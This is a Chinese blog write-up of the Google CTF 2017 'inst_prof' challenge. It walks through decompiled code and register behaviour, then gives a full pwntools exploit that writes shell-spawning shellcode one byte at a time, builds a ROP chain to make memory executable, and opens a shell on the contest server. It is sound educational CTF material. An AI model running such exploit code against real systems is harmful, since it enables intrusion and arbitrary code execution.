google ctf 2017 inst_prof writeup

题目

题目本身比较神奇,当时看到这道题的时候还懵了一下,一下子没有太好的思路,不过后两天还有考试所以也没太静下心来想,今天刚考完了再来看这道题感觉其实难度并不是很大。

题目给出了一个二进制文件,本能的checksec:

[*] '/home/vagrant/ctf/contests/googlectf-2017/inst_prof/inst_prof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

partial relro,很有意思,不过其实根本没卵用,233.

看看逻辑:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  if ( write(1, "initializing prof...", 0x14uLL) == 20 )
  {
    sleep(5u);
    alarm(0x1Eu);
    if ( write(1, "ready\n", 6uLL) == 6 )
    {
      while ( 1 )
        do_test();
    }
  }
  exit(0);
}

main函数很显然,就是死循环执行do_test,再看do_test

int do_test()
{
  char *v0; // rbx@1
  char v1; // al@1
  unsigned __int64 v2; // r12@1
  unsigned __int64 buf; // [sp+8h] [bp-18h]@1

  v0 = (char *)alloc_page();
  *(_QWORD *)v0 = *(_QWORD *)"¦";
  *((_DWORD *)v0 + 2) = *(_DWORD *)&template[8];
  v1 = template[14];
  *((_WORD *)v0 + 6) = *(_WORD *)&template[12];
  v0[14] = v1;
  read_inst((__int64)(v0 + 5));
  make_page_executable(v0);
  v2 = __rdtsc();
  ((void (__fastcall *)(char *))v0)(v0);
  buf = __rdtsc() - v2;
  if ( write(1, &buf, 8uLL) != 8 )
    exit(0);
  return free_page(v0, &buf);
}

由于二进制并没有取掉符号,所以看起来比较显然,template其实不用怎么管,可以大致看出来他的功能:

  1. 分配了一个页
  2. 进行一些初始化,放入了template的一些字节
  3. 输入了4个字节(read_inst)
  4. 改变之前分配的页的权限为R_X
  5. __rdtsc会改变r12的值,这里没啥用不用管,然后跳到了输入字节的位置进行执行
  6. 执行后释放分配的页,然后跳到外层之后死循环回到第一步

具体情况可以下断点输入四个NOP看看,template里边会先mov ecx, 0x1000然后执行四字节输入内容,然后sub ecx, 1之后检测是不是ecx为0,不为0跳到输入的四个字节,基本上除了增加了一点调试难度没什么卵用。

总结一下题目难点:
1. 每次只能输入一个4字节的shellcode执行
2. 每次执行之后会死循环,不过由于得先进行一系列操作,一些寄存器的值会被改变,无法保存

分析

寄存器值改变情况

题目的意思已经很清楚了,不过不保存寄存器值是绝对不可能搞定的,所以应该是有寄存器的值是能够保存的,调试观察一下可以发现,r14和r15的寄存器在两次循环之间是不会被改变的,也就是说我们现在有两个寄存器r14和r15可以用,另外,rdi等等寄存器会保留一些内容,这些对于我们之后的利用也很有用处。

利用方法

写入shellcode

我们首先可以想到可以利用r14和r15进行写入,方法是通过mov byte ptr [r14], {}的方式,{}处可以填很多字节,这样就可以写入shellcode,那么问题来了,写哪儿?

  1. 之前分配的页
  2. 另找一个位置

好了,之前分配的页改变权限的时候已经改为了RX,但是不可写了,所以这个方法是不行的,另找一个位置也没有了可写又可执行的位置,所以看来我们需要自己去更改权限,那么我们需要一个稳定的可写地址,通过观察,或者猜测也行,分配位置之后的一页位置是稳定可写的,所以写那里就可以,之后我们需要想一个办法更改它的权限。

更改权限

更改权限就有问题了,虽然我们有mprotect的调用,但是参数是个问题。更改rdi之后调用已经有的更改权限函数之后再返回或者改权限参数为7之后调用更改权限函数都是不错的思路,可是都存在问题。

  1. rdi和权限参数存的rbx都没办法保留到下一次循环
  2. 如果先存入rdi/rbx再调用(利用push r14或者r15可以在这里改变执行流),也会导致长度不够,至少需要5个字节

看来这两种方法都不行。其实因为我们可以执行一句代码,理论上我们是可以做到受限制的任意写的,而寄存器的值我们是可以mov出来的,所以应该能想到ROP,通过先把链构造好,最后r14/r15设置为链起始位置,mov rsp, r14或者mov rsp, r15就可以触发ROP了。调整r14和r15的值可以用inc指令实现,inc指令比较短。

最终方案

  1. 先写入shellcode到分配的页起始+0x1000的位置
  2. 利用r14和r15构造ROP链,结构为:text offset为0xbc3的值(通过[rsp]值之后加减偏移可以取出来) -> 需要的rdi值(shellcode的所在页) -> text offset 0xb03值 -> 0x28 junk -> shellcode位置
  3. 最后执行mov rsp, r14触发ROP

exp.py

稍微缓存一下编译过程,否则速度太慢直接触发alarm了。
我这里的实现还是有一些问题,应该把NOP换成ret,这样可以避免一些重复的0x1000次执行。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

DEBUG = 1
GDB = 1
NOP = b'\x90'

shellcodes = {}
if DEBUG:
    p = process("./inst_prof")
else:
    p = remote("inst_prof.ctfcompetition.com", 1337)

def split_at(line, n):
    return [line[i:i+n] for i in range(0, len(line), n)]

def execute(shellcode, is_asm=True):
    if shellcode not in shellcodes:
        asm_shellcode = asm(shellcode)
        shellcodes[shellcode] = asm_shellcode
        shellcode = asm_shellcode
    else:
        shellcode = shellcodes[shellcode]
    if len(shellcode) > 4:
        raise Exception('instruction using is too long, length {}'.format(len(shellcode)))
    p.send(shellcode.ljust(4, NOP))

def write_byte(byte_to_write):
    shellcode = "mov byte ptr [r14], {}".format(byte_to_write)
    return shellcode

def write_str(code_str):
    for char in code_str:
        char_num = ord(char)
        execute(write_byte(char_num))
        execute('inc r14; ret;')


def write_shellcode():
    execute('mov r14, rdi; ret;')
    for i in range(0x1000):
        execute('inc r14; ret;') # $r14 = writable address
    shellcode = asm(shellcraft.sh())
    write_str(shellcode)

def write_rop_chain():
    execute('mov r14, rsp;')
    execute('mov r15, [rsp]')
    for i in range(0x100):
        execute('inc r14; ret;')
    for delta in range(0xbc3 - 0xb18):
        execute('inc r15; ret;')
    # r15 = pop_rdi_ret: 0xbc3
    execute('mov [r14], r15')
    for i in range(8):
        execute('inc r14; ret')

    execute('mov r15, rdi')
    for i in range(0x1000):
        execute('inc r15; ret;')
    # r15 = writable
    execute('mov [r14], r15')
    for i in range(8):
        execute('inc r14; ret')

    execute('mov r15, [rsp]')
    for delta in range(0xb18 - 0xb03):
        execute('dec r15; ret;')
    # r15 = call make_page_executable
    execute('mov [r14], r15')
    for i in range(16 + 0x20):
        execute('inc r14; ret;')

    execute('mov r15, rdi')
    for i in range(0x1000):
        execute('inc r15; ret')
    # r15 = writable
    execute('mov [r14], r15')

    for i in range(0x20 + 0x20):
        execute('dec r14; ret;')

    execute('mov rsp, r14')


def main():
    if gdb:
        raw_input()
    write_shellcode()
    write_rop_chain()
    p.interactive()


if __name__ == "__main__":
    main()
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 大白 设计师: CSDN官方博客
应支付0元
点击重新获取
扫码支付

支付成功即可阅读